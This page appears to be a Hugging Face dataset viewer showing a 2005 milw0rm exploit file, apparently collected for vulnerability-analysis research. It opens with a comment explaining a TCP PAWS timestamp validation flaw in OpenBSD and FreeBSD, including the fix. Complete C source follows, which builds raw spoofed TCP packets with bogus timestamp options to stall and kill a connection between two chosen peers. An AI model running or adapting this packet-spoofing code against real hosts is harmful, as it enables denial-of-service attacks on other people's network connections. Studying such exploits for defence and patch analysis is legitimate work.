Team Ai
Modelpublic

lilbool/vuln-code-analysis

sourceHugging Facemitupdated 2y agoView on Hugging Face
0likes
exploit_1008.txt255 linesDownload Raw Back to exploits
1/*

2* TCP does not adequately validate segments before updating timestamp value

3* http://www.kb.cert.org/vuls/id/637934

4*

5* RFC-1323 (TCP Extensions for High Performance)

6*

7* 4.2.1 defines how the PAWS algorithm should drop packets with invalid

8* timestamp options:

9* 

10* R1) If there is a Timestamps option in the arriving segment

11* and SEG.TSval < TS.Recent and if TS.Recent is valid (see

12* later discussion), then treat the arriving segment as not

13* acceptable:

14*

15* Send an acknowledgement in reply as specified in

16* RFC-793 page 69 and drop the segment.

17*

18* 3.4 defines what timestamp options to accept:

19*

20* (2) If Last.ACK.sent falls within the range of sequence numbers

21* of an incoming segment:

22*

23* SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN

24*

25* then the TSval from the segment is copied to TS.Recent;

26* otherwise, the TSval is ignored.

27*

28* http://community.roxen.com/developers/idocs/drafts/

29* draft-jacobson-tsvwg-1323bis-00.html

30*

31* 3.4 suggests an slightly different check like

32*

33* (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent

34* then SEG.TSval is copied to TS.Recent; otherwise, it is

35* ignored.

36*

37* and explains this change

38*

39* APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323

40*

41* There are additional changes in this document from RFC-1323.

42* These changes are:

43* (b) In RFC-1323, section 3.4, step (2) of the algorithm to control

44* which timestamp is echoed was incorrect in two regards:

45* (1) It failed to update TSrecent for a retransmitted segment

46* that resulted from a lost ACK.

47* (2) It failed if SEG.LEN = 0.

48* In the new algorithm, the case of SEG.TSval = TSrecent is

49* included for consistency with the PAWS test.

50*

51* At least OpenBSD and FreeBSD contain this code instead:

52*

53* sys/netinet/tcp_input.c tcp_input()

54*

55* **

56* * If last ACK falls within this segment's sequence numbers,

57* * record its timestamp.

58* * NOTE that the test is modified according to the latest

59* * proposal of the tcplw@cray.com list (Braden 1993/04/26).

60* **

61* if ((to.to_flags & TOF_TS) != 0 &&

62* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {

63* tp->ts_recent_age = ticks;

64* tp->ts_recent = to.to_tsval;

65* }

66*

67* The problem here is that the packet the timestamp is accepted from doesn't

68* need to have a valid th_seq or th_ack. This point of execution is reached

69* for packets with arbitrary th_ack values and th_seq values of half the

70* possible value range, because the first 'if (todrop > tlen)' check in the

71* function explicitely continues execution to process ACKs.

72*

73* If an attacker knows (or guesses) the source and destination addresses and

74* ports of a connection between two peers, he can send spoofed TCP packets

75* to either peer containing bogus timestamp options. Since half of the

76* possible th_seq and timestamp values are accepted, four packets containing

77* two random values and their integer wraparound opposites are sufficient to

78* get one random timestamp accepted by the receipient. Further packets from

79* the real peer will get dropped by PAWS, and the TCP connection stalls and

80* times out.

81*

82* The following change reverts the tcp_input() check back to the implemented

83* suggested by draft-jacobson-tsvwg-1323bis-00.txt

84*

85* if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&

86* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {

87* + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +

88* + ((tiflags & (TH_SYN|TH_FIN)) != 0)))

89* + tp->ts_recent = opti.ts_val;

90* + else

91* + tp->ts_recent = 0;

92* tp->ts_recent_age = tcp_now;

93* - tp->ts_recent = opti.ts_val;

94* }

95*

96* I can't find Braden's proposal referenced in the comment. It seems to

97* pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by

98* it.

99*

100* Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>

101*

102* http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\

103* ?r1=1.184&r2=1.185&f=h

104*

105* http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\

106* ?r1=1.252.2.15&r2=1.252.2.16&f=h

107*

108*/

109

110#include <stdio.h>

111#include <stdlib.h>

112#include <sys/socket.h>

113#include <net/if.h>

114#ifdef __FreeBSD__

115#include <net/if_var.h>

116#endif

117#include <netinet/in.h>

118#include <netinet/in_var.h>

119#include <netinet/in_systm.h>

120#include <netinet/ip.h>

121#include <netinet/tcp.h>

122

123static u_int16_t

124checksum(u_int16_t *data, u_int16_t length)

125{

126u_int32_t value = 0;

127u_int16_t i;

128

129for (i = 0; i < (length >> 1); ++i)

130value += data[i];

131if ((length & 1) == 1)

132value += (data[i] << 8);

133value = (value & 65535) + (value >> 16);

134return (~value);

135}

136

137static int

138send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,

139u_int16_t dport, u_int32_t seq, u_int32_t ts)

140{

141u_char packet[1600];

142struct tcphdr *tcp;

143struct ip *ip;

144unsigned char *opt;

145int optlen, len, r;

146struct sockaddr_in sin;

147

148memset(packet, 0, sizeof(packet));

149

150opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);

151optlen = 0;

152opt[optlen++] = TCPOPT_NOP;

153opt[optlen++] = TCPOPT_NOP;

154opt[optlen++] = TCPOPT_TIMESTAMP;

155opt[optlen++] = 10;

156ts = htonl(ts);

157memcpy(opt + optlen, &ts, sizeof(ts));

158optlen += sizeof(ts);

159ts = htonl(0);

160memcpy(opt + optlen, &ts, sizeof(ts));

161optlen += sizeof(ts);

162

163len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;

164

165ip = (struct ip *)packet;

166ip->ip_src.s_addr = saddr;

167ip->ip_dst.s_addr = daddr;

168ip->ip_p = IPPROTO_TCP;

169ip->ip_len = htons(sizeof(struct tcphdr) + optlen);

170

171tcp = (struct tcphdr *)(packet + sizeof(struct ip));

172tcp->th_sport = htons(sport);

173tcp->th_dport = htons(dport);

174tcp->th_seq = htonl(seq);

175tcp->th_ack = 0;

176tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;

177tcp->th_flags = 0;

178tcp->th_win = htons(16384);

179tcp->th_sum = 0;

180tcp->th_urp = 0;

181

182tcp->th_sum = checksum((u_int16_t *)ip, len);

183

184ip->ip_v = 4;

185ip->ip_hl = 5;

186ip->ip_tos = 0;

187ip->ip_len = htons(len);

188ip->ip_id = htons(arc4random() % 65536);

189ip->ip_off = 0;

190ip->ip_ttl = 64;

191

192sin.sin_family = AF_INET;

193sin.sin_addr.s_addr = saddr;

194

195r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));

196if (r != len) {

197perror("sendto");

198return (1);

199}

200

201return (0);

202}

203

204static u_int32_t

205op(u_int32_t u)

206{

207return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);

208}

209

210int main(int argc, char *argv[])

211{

212u_int32_t saddr, daddr, seq, ts;

213u_int16_t sport, dport;

214int sock, i;

215

216if (argc != 5) {

217fprintf(stderr, "usage: %s <src ip> <src port> "

218"<dst ip> <dst port>\n", argv[0]);

219return (1);

220}

221

222saddr = inet_addr(argv[1]);

223daddr = inet_addr(argv[3]);

224sport = atoi(argv[2]);

225dport = atoi(argv[4]);

226

227sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

228if (sock < 0) {

229perror("socket");

230return (1);

231}

232i = 1;

233if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {

234perror("setsockopt");

235close(sock);

236return (1);

237}

238

239seq = arc4random();

240ts = arc4random();

241if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||

242send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||

243send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||

244send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {

245fprintf(stderr, "failed\n");

246close(sock);

247return (1);

248}

249

250close(sock);

251printf("done\n");

252return (0);

253}

254

255// milw0rm.com [2005-05-21]